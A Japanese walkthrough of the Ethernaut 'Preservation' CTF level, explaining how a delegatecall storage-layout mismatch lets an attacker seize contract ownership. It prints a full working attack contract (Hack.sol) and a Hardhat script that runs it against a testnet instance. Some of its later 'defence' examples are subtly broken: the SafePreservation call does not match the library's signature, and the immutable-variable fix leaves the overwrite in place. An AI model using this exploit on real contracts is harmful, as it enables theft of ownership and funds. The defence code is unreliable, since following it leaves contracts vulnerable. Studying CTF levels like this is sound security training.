Appearance
Solidityのdelegatecallとストレージレイアウトを悪用したコントラクト所有権奪取:Ethernaut「Preservation」解説
はじめに
本記事では、セキュリティCTFプラットフォーム「Ethernaut」の「Preservation」レベルを題材に、Solidityのdelegatecall機能とストレージレイアウトの相互作用に潜む重大な脆弱性について詳細に解説します。このレベルは、一見単純なライブラリ委譲パターンが、適切な実装を欠くことで深刻なセキュリティ問題を引き起こす実例を示しています。
問題の概要
コントラクト構造分析
提供されたPreservation.solコントラクトは、2つの異なるタイムゾーンの時間を管理することを目的としています。コントラクトの主要な構成要素は以下の通りです:
solidity
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
ライブラリコントラクト
solidity
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}
技術的背景
delegatecallの仕組みと特性
delegatecallはSolidityの低レベル関数の一つで、呼び出し元コントラクトのコンテキスト(ストレージ、バランス、アドレスなど)を保持したまま、別のコントラクトのコードを実行します。この「コンテキスト保存」特性が、本脆弱性の核心です。
通常のcallとの違い:
- 通常のcall: 呼び出されたコントラクトのコンテキストで実行
- delegatecall: 呼び出し元コントラクトのコンテキストで実行
solidity
// delegatecallの基本的な使用例
(bool success, ) = targetContract.delegatecall(
abi.encodeWithSignature("functionName(uint256)", parameter)
);
ストレージレイアウトの重要性
Solidityでは、コントラクトのストレージ変数は宣言順に0から始まるスロットに割り当てられます。この順序はコントラクト間で整合性が取れている必要があります。
Preservationコントラクトのストレージレイアウト:
- スロット0:
timeZone1Library(address) - スロット1:
timeZone2Library(address) - スロット2:
owner(address) - スロット3:
storedTime(uint256)
LibraryContractのストレージレイアウト:
- スロット0:
storedTime(uint256)
ここに重大な不一致が存在します。
脆弱性の詳細分析
ストレージレイアウトの不一致
PreservationコントラクトがLibraryContractのsetTime関数をdelegatecallで実行する際、LibraryContractは自身のストレージレイアウトに基づいて操作を行います:
LibraryContract.setTime(_time)が実行されると、スロット0(自身のstoredTime)に_timeを書き込みます- しかし、
delegatecallはPreservationのコンテキストで実行されるため、実際にはPreservationのスロット0(timeZone1Library)が書き換えられます
この不一致が、コントラクトの制御を奪うための突破口となります。
攻撃シナリオ
攻撃の流れ:
- 攻撃者が悪意のあるコントラクトをデプロイ
setFirstTimeを呼び出してtimeZone1Libraryを攻撃コントラクトのアドレスに書き換え- 再度
setFirstTimeを呼び出し、今度は攻撃コントラクトのsetTime関数が実行される - 攻撃コントラクトの
setTime関数がPreservationのowner変数を書き換える
攻撃実装の詳細
攻撃コントラクト(Hack.sol)
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPreservation {
function setFirstTime(uint256) external;
function owner() external view returns (address);
}
contract Hack {
// Preservationコントラクトと完全に同一のストレージレイアウト
address public timeZone1Library;
address public timeZone2Library;
address public owner;
IPreservation private immutable target;
constructor(address _target) {
target = IPreservation(_target);
}
function attack() external {
// ステップ1: timeZone1Libraryをこのコントラクトのアドレスに変更
target.setFirstTime(uint256(uint160(address(this))));
// ステップ2: このコントラクトのsetTimeを呼び出してownerを変更
target.setFirstTime(uint256(uint160(address(msg.sender))));
// 所有権奪取の確認
require(target.owner() == msg.sender, "Claim ownership fail!");
}
// Preservationコントラクトのストレージレイアウトに合わせた関数
function setTime(uint256 _time) public {
// スロット2(owner)を書き換える
owner = address(uint160(_time));
}
}
攻撃のステップバイステップ解説
ステップ1: ライブラリアドレスの書き換え
solidity
target.setFirstTime(uint256(uint160(address(this))));
Preservation.setFirstTime()が呼び出されるtimeZone1Library.delegatecall()が実行されるが、timeZone1Libraryはまだ元のLibraryContractLibraryContract.setTime()が実行され、スロット0(timeZone1Library)に攻撃コントラクトのアドレスが書き込まれる
ステップ2: 所有権の奪取
solidity
target.setFirstTime(uint256(uint160(address(msg.sender))));
- 再度
Preservation.setFirstTime()が呼び出される - 今回は
timeZone1Libraryが攻撃コントラクトのアドレスに変更済み - 攻撃コントラクトの
setTime()関数がdelegatecallで実行される - 攻撃コントラクトのストレージレイアウトは
Preservationと同一のため、スロット2(owner)が攻撃者のアドレスに書き換えられる
テスト実装
Hardhatテストスクリプト
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { LibraryContract, Preservation, Hack } from "../typechain-types";
describe("Preservation", function () {
describe("Preservation testnet online sepolia", function () {
it("testnet online sepolia Preservation", async function () {
// コントラクトアドレスとABIの定義
const PRESERVATION_ADDRESS = "0x...";
const PRESERVATION_ABI = [
"function setFirstTime(uint256) external",
"function owner() external view returns (address)",
];
const LEVEL = "0x...";
// チャレンジャーの取得
const challenger = await ethers.getNamedSigner("deployer");
const preservationContract = new ethers.Contract(
PRESERVATION_ADDRESS,
PRESERVATION_ABI,
challenger
);
// 攻撃前の所有権確認
const ownerBefore = await preservationContract.owner();
expect(ownerBefore).to.be.equals(LEVEL);
// 攻撃コントラクトのデプロイ
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(PRESERVATION_ADDRESS)) as Hack;
await hack.waitForDeployment();
// 攻撃の実行
const tx = await hack.attack();
await tx.wait();
// 攻撃後の所有権確認
const ownerAfter = await preservationContract.owner();
expect(ownerAfter).to.be.equals(challenger.address);
});
});
});
防御策とベストプラクティス
1. ライブラリコントラクトの安全な設計
ライブラリコントラクトはストレージを使用すべきではありません。代わりに、純粋関数またはビュー関数として実装します:
solidity
library SafeLibrary {
function calculateTime(uint256 baseTime, uint256 offset)
internal
pure
returns (uint256)
{
return baseTime + offset;
}
}
2. ストレージポインタの明示的使用
ストレージを使用する必要がある場合は、ストレージポインタを明示的に渡します:
solidity
contract SafePreservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
function setFirstTime(uint256 _timeStamp) public {
LibraryContract(timeZone1Library).setTime(_timeStamp, storedTime);
}
}
contract SafeLibraryContract {
function setTime(uint256 _time, uint256 storagePointer) public {
// ストレージポインタを通じて安全にアクセス
}
}
3. ライブラリコントラクトの不変性確保
ライブラリコントラクトは不変(immutable)であるべきです:
solidity
contract ImmutablePreservation {
address public immutable timeZone1Library;
address public immutable timeZone2Library;
address public owner;
uint256 storedTime;
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
}
4. アクセス制御の強化
重要な関数には適切なアクセス制御を実装します:
solidity
contract AccessControlledPreservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function updateLibrary(address newLibrary) public onlyOwner {
// ライブラリアドレスの更新に制限を設ける
timeZone1Library = newLibrary;
}
}
実世界での影響
この種の脆弱性は実際のプロジェクトでも発生しています:
- Parity Wallet Hack (2017): ライブラリコントラクトの初期化不備により、攻撃者がコントラクトの所有権を奪取
- さまざまなDeFiプロトコル:
delegatecallの誤用による資金損失事例が複数報告
結論
Ethernautの「Preservation」レベルは、delegatecallとストレージレイアウトの相互作用に関する重要な教訓を提供します:
- コンテキスト保存の理解:
delegatecallが呼び出し元のコンテキストを保持することを常に意識する - ストレージレイアウトの整合性: コントラクト間でストレージレイアウトが一致していることを確認する
- ライブラリの安全な設計: ライブラリコントラクトは可能な限りステートレスに保つ
- アクセス制御の重要性: 重要な操作には適切な権限チェックを実装する
スマートコントラクト開発において、低レベル関数の使用は常に注意深く検討する必要があります。delegatecallのような強力な機能は、その振る舞いを完全に理解した上で、適切なセキュリティ対策と共に使用すべきです。
このレベルの根本的な教訓は、外部コントラクトとの相互作用において、特にストレージレイアウトと実行コンテキストの一貫性を維持することの重要性です。開発者は常に「最小権限の原則」に従い、コントラクトが意図した通りにのみ動作することを保証する設計を心がけるべきです。